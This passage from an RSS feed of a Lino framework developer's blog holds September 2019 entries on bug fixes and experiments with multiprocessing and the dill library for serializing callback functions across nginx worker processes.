&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command was run.  Now they have a fictive demo date and time.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:  The summary tables for CommentsByRFC and those for RecentComments are
similar but different. It seems that when rendering a table summary in the
dashboard, Lino requires that summary to be returned as an etree element.  When
rendering it in a slave table panel of a detail, this was possible.  And for
comments we used it to avoid rendering them again and again.  Also we can
probably use lxml to truncate the first paragraph, no need for BeautifulSoup.
The idea of Previewable was to have the comments already rendered as HTML and to
not parse them again and again. Currently we are not using this for
RecentComments.  To be observed.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0926.html</guid><pubDate>Thu, 26 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 25, 2019</title><link>https://luc.lino-framework.org/blog/2019/0925.html</link><description>&lt;section id="wednesday-september-25-2019"&gt;
&lt;h1&gt;Wednesday, September 25, 2019&lt;a class="headerlink" href="#wednesday-september-25-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="new-server-for-weleup"&gt;
&lt;h2&gt;New server for weleup&lt;a class="headerlink" href="#new-server-for-weleup" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Lino now gives a better error message when appy happens to not be installed at
all.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="fixed-two-unexpected-problems"&gt;
&lt;h2&gt;Fixed two unexpected problems&lt;a class="headerlink" href="#fixed-two-unexpected-problems" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis and I had a few hours of fun.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;We fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3225"&gt;#3225&lt;/a&gt; (saving a locked row
does not unlock it).  The code (&lt;a class="reference external" href="https://dev.lino-framework.org/specs/system.html#lino.modlib.system.Lockable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.system.Lockable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) was simply
rotten. The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;after_ui_save()&lt;/span&gt;&lt;/code&gt; method is not needed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3225"&gt;#3225&lt;/a&gt; : Action preprocessors (the optional function given by
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.Action.preprocessor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.Action.preprocessor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) may now optionally add an
attribut &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;timeout&lt;/span&gt;&lt;/code&gt; to the returned object. This means that Lino should wait
before sending the action’s AJAX call.&lt;/p&gt;
&lt;p&gt;This is used by &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.beid.BeIdReadCardAction&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.beid.FindByBeIdAction&lt;/span&gt;&lt;/code&gt; to make sure (or rather probable)
that eidreader has done its work before the action runs on the server. This is
needed when nginx is running with a single worker process. We should remove
that timeout when &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3228"&gt;#3228&lt;/a&gt; is done.
Later I made this value configurable via a new plugin setting
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;preprocessor_delay&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="handling-callbacks-with-multiple-worker-processes"&gt;
&lt;h2&gt;Handling callbacks with multiple worker processes&lt;a class="headerlink" href="#handling-callbacks-with-multiple-worker-processes" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;But the big problem is &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3228"&gt;#3228&lt;/a&gt; (callbacks under nginx with multiple
worker process).  We did some research for exploring this. Seems that we are
going to have some more fun.&lt;/p&gt;
&lt;p&gt;I tried whether multiprocessing can help us:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;multiprocessing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Manager&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;somefunc&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;yes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]()&lt;/span&gt;
    &lt;span class="c1"&gt;# d[&amp;#39;2&amp;#39;] = 2&lt;/span&gt;
    &lt;span class="c1"&gt;# d[0.25] = None&lt;/span&gt;
    &lt;span class="c1"&gt;# l.reverse()&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Manager&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="c1"&gt;# l = manager.list(range(10))&lt;/span&gt;

        &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;somefunc&lt;/span&gt;

        &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# print(l)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I guess that if we manage to serialize callbacks, it should be rather easy to
distribute our &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;pending_threads&lt;/span&gt;&lt;/code&gt; dict over several processes using
multiprocessing or Redis or Memcached.  Memcached looks good:
&lt;a class="reference external" href="https://pymemcache.readthedocs.io/en/latest/"&gt;https://pymemcache.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;According to &lt;a class="reference external" href="https://medium.com/&amp;#64;emlynoregan/serialising-all-the-functions-in-python-cd880a63b591"&gt;this article by Emlyn O’Regan&lt;/a&gt;
we can maybe use &lt;a class="reference external" href="https://github.com/uqfoundation/dill"&gt;dill&lt;/a&gt; in order to
serialize functions.  Dill is like Pickle, but it serializes functions by their
internal descriptors (&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;__code__&lt;/span&gt;&lt;/code&gt;, &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;__closure__&lt;/span&gt;&lt;/code&gt; etc.).&lt;/p&gt;
&lt;p&gt;But we are not yet there. Let’s first try whether dill is able to serialize all
callback functions of the test suite.&lt;/p&gt;
&lt;p&gt;We can test this easily: instead of storing the function object itself, I store
its serialized image. So in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.kernel.CallbackChoice.__init__()&lt;/span&gt;&lt;/code&gt; I
say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# self.func = func&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func_s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dill&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.kernel.Kernel.run_callback()&lt;/span&gt;&lt;/code&gt; I say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# c.func(ar)&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dill&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func_s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Search for “dill” in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;kernel.py&lt;/span&gt;&lt;/code&gt; and invert the commenting if you want to
replay the following.&lt;/p&gt;
&lt;p&gt;Yes, that seems to work in some cases.  But not always. For example a test case
in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.watch.html#module-lino_book.projects.watch" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.watch&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fails after above changes:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go watch
$ python manage.py test tests.test_basics
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The error message is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;_pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PicklingError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t pickle &amp;lt;class &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;functional&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lazy&lt;/span&gt;&lt;span class="o"&gt;.&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;locals&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;.&lt;/span&gt;&lt;span class="n"&gt;__proxy__&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;: it&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;functional&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lazy&lt;/span&gt;&lt;span class="o"&gt;.&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;locals&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;.&lt;/span&gt;&lt;span class="n"&gt;__proxy__&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is relevant code of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.DeleteSelected" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.DeleteSelected&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; with the
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;ok()&lt;/span&gt;&lt;/code&gt; function it is trying to serialize:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;selected_rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disable_delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alert&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeleteSelected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;record_deleted&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# hack required for extjs:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detail_action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;detail_handler_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detail_action&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_name&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;targets&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name_plural&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;gettext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;You are about to delete &lt;/span&gt;&lt;span class="si"&gt;%(num)d&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;%(type)s&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;%(targets)s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
    &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gettext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Are you sure ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that the local function &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;ok()&lt;/span&gt;&lt;/code&gt; defined in above code uses one
variable that is defined locally by the defining scope (namely &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar&lt;/span&gt;&lt;/code&gt;). This
is probably what’s causing troubles because when I change the line&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeleteSelected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;into&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeleteSelected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(IOW I remove the only use of the variable &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar&lt;/span&gt;&lt;/code&gt;), then the serialization
works.  But the result is not what we want (&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar&lt;/span&gt;&lt;/code&gt; is the original request
while &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar2&lt;/span&gt;&lt;/code&gt; is its successor which gets instantiated when the answer
arrives). Callback functions need to be able to access local variables defined
previously by their original request.&lt;/p&gt;
